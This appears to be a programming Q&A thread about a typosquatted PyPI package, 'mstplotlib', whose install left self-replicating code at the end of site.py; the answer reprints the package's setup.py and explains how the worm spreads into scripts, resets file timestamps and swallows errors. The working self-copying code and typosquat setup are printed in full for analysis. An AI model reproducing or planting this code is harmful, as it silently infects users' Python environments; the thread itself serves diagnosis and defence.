Search code examples
pythonpippypi

Why does some unknown codes appeared in standard library after using pip to install mstplotlib (not matplotlib)


When I entered the typo pip install mstplotlib accidentally, the mstplotlib automatically installs its requirement matplotlib and other dependencies, and the installation seems successful.

C:\Users\admin>pip install mstplotlib
Collecting mstplotlib
  Downloading mstplotlib-3.10.2.tar.gz (845 bytes)
  Preparing metadata (setup.py) ... done
Collecting matplotlib
  Downloading matplotlib-3.10.0-cp311-cp311-win_amd64.whl (8.0 MB)
     ---------------------------------------- 8.0/8.0 MB 1.9 MB/s eta 0:00:00
Collecting contourpy>=1.0.1
  Downloading contourpy-1.3.1-cp311-cp311-win_amd64.whl (219 kB)
     ---------------------------------------- 219.8/219.8 kB 6.8 MB/s eta 0:00:00
Collecting cycler>=0.10
  Downloading cycler-0.12.1-py3-none-any.whl (8.3 kB)
Collecting fonttools>=4.22.0
  Downloading fonttools-4.56.0-cp311-cp311-win_amd64.whl (2.2 MB)
     ---------------------------------------- 2.2/2.2 MB 2.4 MB/s eta 0:00:00
Collecting kiwisolver>=1.3.1
  Downloading kiwisolver-1.4.8-cp311-cp311-win_amd64.whl (71 kB)
     ---------------------------------------- 72.0/72.0 kB 3.9 MB/s eta 0:00:00
Collecting numpy>=1.23
  Downloading numpy-2.2.3-cp311-cp311-win_amd64.whl (12.9 MB)
     ---------------------------------------- 12.9/12.9 MB 2.2 MB/s eta 0:00:00
Collecting packaging>=20.0
  Downloading packaging-24.2-py3-none-any.whl (65 kB)
     ---------------------------------------- 65.5/65.5 kB ? eta 0:00:00
Collecting pillow>=8
  Downloading pillow-11.1.0-cp311-cp311-win_amd64.whl (2.6 MB)
     ---------------------------------------- 2.6/2.6 MB 1.8 MB/s eta 0:00:00
Collecting pyparsing>=2.3.1
  Downloading pyparsing-3.2.1-py3-none-any.whl (107 kB)
     ---------------------------------------- 107.7/107.7 kB 2.1 MB/s eta 0:00:00
Collecting python-dateutil>=2.7
  Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
     ---------------------------------------- 229.9/229.9 kB 4.7 MB/s eta 0:00:00
Collecting six>=1.5
  Downloading six-1.17.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, pyparsing, pillow, packaging, numpy, kiwisolver, fonttools, cycler, python-dateutil, contourpy, matplotlib, mstplotlib
  DEPRECATION: mstplotlib is being installed using the legacy 'setup.py install' method, because it does not have a 'pyproject.toml' and the 'wheel' package is not installed. pip 23.1 will enforce this behaviour change. A possible replacement is to enable the '--use-pep517' option. Discussion can be found at https://github.com/pypa/pip/issues/8559
  Running setup.py install for mstplotlib ... done
Successfully installed contourpy-1.3.1 cycler-0.12.1 fonttools-4.56.0 kiwisolver-1.4.8 matplotlib-3.10.0 mstplotlib-3.10.2 numpy-2.2.3 packaging-24.2 pillow-11.1.0 pyparsing-3.2.1 python-dateutil-2.9.0.post0 six-1.17.0

However, as I attemped to refer to the source of site.py, there are some suspicious codes at the end of site.py source file, but I don't know the goals of that:

mark="#####MyPython####"#v1.1.2
code=''
with open(__file__,encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code=line+f.read()

def spread(file):
    import os;stat=os.stat(file)
    old_time=stat.st_atime,stat.st_mtime
    with open(file,'r',encoding='utf-8') as f:
        for line in f:
            if mark in line:return
    if os.path.getsize(file)>=2560:
        with open(file,'a',encoding='utf-8') as f:
            f.write('\n'+code)
        os.utime(file,old_time)

try:
    spread(__import__("site").__file__)
    spread(__import__("sys").argv[0])
except:pass
del spread,code,mark,f,line

Additionally, I'm not certain whether the code is brought by mstplotlib, or not.


Solution

  • This is the actual content of the setup.py in mstplotlib package:

    from setuptools import setup
    
    setup(
        name="mstplotlib",
        version="3.10.2",
        py_modules="", # no actual modules
        install_requires=["matplotlib"], # automatically installs matplotlib to hide it from victims
    )
    
    mark="#####MyPython####"#v1.1.2
    code=''
    ...
    

    I'd consider mstplotlib a computer virus, as the code firstly inserts itself to the site library, then attempts to insert itself to the main.py being executed. But surprisingly, it does no harmful or destructive things.
    The code uses os.utime to hide itself in the filesystem, uses del statements to hide itself in the namespace of site module, and utilizes try:...except:pass to suppress any errors.
    Additionally, the size of this virus is 637 bytes compared to the size of historical CIH virus being approximately 1000 bytes.

    After searching its source code in GitHub, the virus may be originated from pypy66/python-self-replication, but the author claimed that it shouldn't be for illegal usage.
    According to that the username is mutant, the time is far enough, and the author of this worm has declared, mstplotlib might not be uploaded by user pypy66.